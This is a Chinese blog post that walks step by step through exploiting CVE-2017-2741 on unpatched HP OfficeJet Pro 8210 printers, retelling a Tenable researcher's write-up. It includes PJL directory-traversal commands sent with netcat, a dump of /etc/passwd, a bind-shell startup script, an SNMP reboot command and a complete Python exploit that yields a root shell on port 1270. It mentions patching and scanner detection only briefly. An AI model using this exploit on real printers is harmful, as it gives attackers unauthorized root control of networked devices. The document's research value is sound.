其他

求关注:远程控制你的打印机,附详细步骤

2017-06-25 Pr0.s malwarebenchmark

6月8日,MalwareBenchmark关于打印机“黄点追踪”技术的文章,引起了广大吃瓜群众的关注。对于打印机这种无处不在的“办公用品”,还面临哪些安全威胁?今天,我们讲的是另一个严重的安全威胁“如何root打印机”。

 

4月初, 惠普发布了一个安全公告“HP PageWide Printers, HP OfficeJet Pro Printers, Arbitrary Code Execution”,揭示了HP部分系列打印机存在的可以执行任意代码的漏洞cve -2017-2741。

 

但这仅仅是“冰山一角”。两个月以来,该漏洞缺乏进一步的详细说明,因为还处于 “RESERVED” 状态。必须注意的是其CVSSv2 高达9.8 分,足以证明其安全威胁程度。

 

于是Jacob Baines针对HP OfficeJet Pro 8210打印机的实验出现了。

 


很少有人关心过打印机的漏洞及补丁情况吧?来看HP OfficeJet Pro 8210的。新购打印机都存在漏洞固件,而且禁用了补丁更新~!要你命的节奏。

 


好吧,靠自己了。从往www.hp.com/support自行下载相应的更新固件,HP针对此漏洞,提供了名为OJ8210_R1709A.exe的更新固件下载。

  


 为其中一台OfficeJet Pro 8210打印机更新了固件,另一台未更新。现在开始远程代码执行!

 

未更新固件的打印机:192.168.1.158

更新了固件的打印机:192.168.1.159

 

首先,用NMAP对更新了固件的打印机执行端口扫描:

 

albinolobster@ubuntu:~$ nmap -A 192.168.1.159

Starting Nmap 7.01 ( https://nmap.org ) at 2017-06-08 10:31 PDT

Nmap scan report for HP0A6BFE.westeros (192.168.1.159)

Host is up (0.014s latency).

Not shown: 994 closed ports

PORT      STATE SERVICE    VERSION

80/tcp    open  http       HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;

443/tcp   open  ssl/https  HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;

515/tcp   open  printer

631/tcp   open  ssl/ipp    HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;

8080/tcp  open  http-proxy HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;

9100/tcp  open  jetdirect?

 

貌似没有更多异常。但9100端口除了支持原始打印服务外,还支持 PCL、PostScript和PJL打印语言。尝试一下通过9100端口利用PJL语言获取打印机设备信息:

 

albinolobster@ubuntu:~$ nc 192.168.1.159 9100

@PJL INFO ID

@PJL INFO ID

"HP OfficeJet Pro 8210"

 

1月看过Jens Müller的报告“Exploiting Network Printers: A Survey of Security Flaws in Laser Printers and Multi-Function Devices ”(入侵网络打印机:激光和多功能打印设备漏洞研究),就会发现:大部分打印存在利用PJL语言进行目录遍历的漏洞。于是,进一步尝试:

 

albinolobster@ubuntu:~$ nc 192.168.1.159 9100

@PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=1024

@PJL FSDIRLIST NAME="0:/" ENTR

tmp/ TYPE=DIR

csr_misc/ TYPE=DIR

 

结果中列出了打印机的一个根目录0:/,和两个子目录tmp/、csr_misc/,在未更新固件的打印机上,尝试使用路径0:/../../进行目录枚举

 

albinolobster@ubuntu:~$ nc 192.168.1.158 9100

@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024

@PJL FSDIRLIST NAME="0:/../../" ENTRY=1

rw/ TYPE=DIR

ram/ TYPE=DIR

rom/ TYPE=DIR

.sig/ TYPE=DIR

 

某些貌似敏感的目录位置可以进一步利用。如果固件更新了呢?尝试则会报错。

 

albinolobster@ubuntu:~$ nc 192.168.1.159 9100

@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024

@PJL FSDIRLIST NAME="0:/../../"

FILEERROR=0

 

好吧,到现在为止至少看出固件更新的重要性了吧?

 

下面针对没有更新固件的开展工作吧。先遍历路径看看:

 

albinolobster@ubuntu:~$ nc 192.168.1.158 9100

@PJL FSDIRLIST NAME="../../" ENTRY=1 COUNT=4

@PJL FSDIRLIST NAME="../../"

FILEERROR=0

 

@PJL FSDIRLIST NAME="../../bin/" ENTRY=1 COUNT=4

@PJL FSDIRLIST NAME="../../bin/" ENTRY=1

getopt TYPE=FILE SIZE=880020

setarch TYPE=FILE SIZE=880020

dd TYPE=FILE SIZE=880020

cp TYPE=FILE SIZE=880020

 

(⊙o⊙)哦有熟悉的../../bin而且可以列出一些传统Linux系统文件~!!这样就好办了。

 

下面会用到:FSQUERY、FSUPLOAD和FSDOWNLOAD 三个PJL命令,支持访问打印机文件系统的读写(r/w)权限,例如:利用FSQUERY或FSUPLOAD命令读取/etc/passwd密码内容(呵呵,好玩~!)

 

@PJL FSUPLOAD NAME="../../etc/passwd" OFFSET=0 SIZE=648

@PJL FSUPLOAD FORMAT:BINARY NAME="../../etc/passwd" OFFSET=0 SIZE=648

root:x:0:0:root:/var/root:/bin/sh

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:100:sync:/bin:/bin/sync

mail:x:8:8:mail:/var/spool/mail:/bin/sh

proxy:x:13:13:proxy:/bin:/bin/sh

www-data:x:33:33:www-data:/var/www:/bin/sh

backup:x:34:34:backup:/var/backups:/bin/sh

operator:x:37:37:Operator:/var:/bin/sh

haldaemon:x:68:68:hald:/:/bin/sh

dbus:x:81:81:dbus:/var/run/dbus:/bin/sh

ftp:x:83:83:ftp:/home/ftp:/bin/sh

nobody:x:99:99:nobody:/home:/bin/sh

sshd:x:103:99:Operator:/var:/bin/sh

default:x:1000:1000:Default non-root user:/home/default:/bin/sh

 _ntp:x:100:99:Linux User,,,:/run/ntp:/bin/false

 

但脚本由于没有Linux文件系统的访问权限,不能执行。还要在另外的目录里折腾。

 

尝试了 0:/ 的遍历,终于发现0:/../../rw/var/etc/profile.d/,而通常profile.d目录包含了系统启动时的各种执行脚本。0:/../../rw/var/etc/profile.d/和../../var/etc/profile.d/下似乎都包含了相同的数据内容:

 

albinolobster@ubuntu:~$ nc 192.168.1.158 9100

@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1 COUNT=1024

@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1

.sig/ TYPE=DIR

 

@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024

@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1<

.sig/ TYPE=DIR

 

Jacob Baines做了一个Python脚本,脚本中FSDOWNLOAD命令部分中的写入目录为:0:/../../rw/var/etc/profile.d/writing_test

 

iimport socket

import sys

 

test = ('test')

 

if len(sys.argv) != 3:

    print '\nUsage:upload.py [ip] [port]\n'

    sys.exit()

 

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server_address = (sys.argv[1], int(sys.argv[2]))

print 'connecting to %s port %s' % server_address

sock.connect(server_address)

 

dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="0:/../../rw/var/etc/profile.d/writing_test"\r\n

dir_query += test

dir_query += '\x1b%-12345X'

sock.sendall(dir_query)

sock.close()

 

新写入创建的文件还能通过遍历方式查看:(这下能做好多事情喽~!)

 

albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100

connecting to 192.168.1.158 port 9100

albinolobster@ubuntu:~$ nc 192.168.1.158 9100

@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024

@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1

.sig/ TYPE=DIR

writing_test TYPE=FILE SIZE=4

 

那么要想远程执行代码,目前只需要向其中写入一个执行脚本,并弄清楚如何重启打印机,当设备重启时,就可以静待脚本启动执行了。由于打印机系统中配置了netcat,可以创建了一个脚本,该脚本将会生成一个绑定到1270端口的shell:

 

if [ ! -p /tmp/pwned ]; then

    mkfifo /tmp/pwned

    cat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &

fi

 

现在使用SNMP协议的MIB命令来实现重启,如下SNMP命令:

 

albinolobster@ubuntu:~$ snmpset -v1 -c public 192.168.1.158 1.3.6.1.2.1.43.5.1.1.3.1 i 4

iso.3.6.1.2.1.43.5.1.1.3.1 = INTEGER: 4

 

Jacob Baines把所有脚本功能合成后,给了一个能向profile.d中写入系统启动执行脚本,并能执行打印机重启的exploit:

 

##

# Create a bind shell on an unpatched OfficeJet 8210

# Write a script to profile.d and reboot the device. When it comes

# back online then nc to port 1270.

#

# easysnmp instructions:

# sudo apt-get install libsnmp-dev

# pip install easysnmp

##

 

import socket

import sys

from easysnmp import snmp_set

 

profile_d_script = ('if [ ! -p /tmp/pwned ]; then\n'

                    '\tmkfifo /tmp/pwned\n'

                    '\tcat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &\n

                    'fi\n')

 

if len(sys.argv) != 3:

    print '\nUsage:upload.py [ip] [port]\n'

    sys.exit()

 

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.settimeout(2)

server_address = (sys.argv[1], int(sys.argv[2]))

print 'connecting to %s port %s' % server_address

sock.connect(server_address)

 

dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(profile_d_script)) + ' NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r\n'

dir_query += profile_d_script

dir_query += '\x1b%-12345X'

sock.sendall(dir_query)

sock.close()

 

sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock1.connect(server_address)

dir_query = '@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r\n'

sock1.sendall(dir_query)

 

response = ''

while True:

    data = sock1.recv(1)

    if '\n' == data: break

    response += data

 

print response

snmp_set('.1.3.6.1.2.1.43.5.1.1.3.1', 4, 'integer', hostname='192.168.1.158', community='public', version=1)

print 'Done! Try port 1270 in ~30 seconds'

 

对未更新固件的目标打印机执行exploit,大约30秒后,可以获取到一个绑定到1270端口的反弹控制shell。

 

albinolobster@ubuntu:~$ python printer_exploit.py 192.168.1.158 9100

connecting to 192.168.1.158 port 9100

@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh" TYPE=FILE SIZE=119

Done! Try port 1270 in ~30 seconds

albinolobster@ubuntu:~$ nc 192.168.1.158 1270

whoami

root

 

幸运的是nessus 插件100461五月下旬已经可以检测此漏洞了。S这里想说:打印机其实也是个计算系统,由于一直以来缺乏有效防护且易于忽视,存在着很多脆弱性,值得进一步关注。

 

参考:

https://www.tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution

 

订阅号内相关文章(点击可阅读)


速转:可怕的打印机“黄点”追踪技术



您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存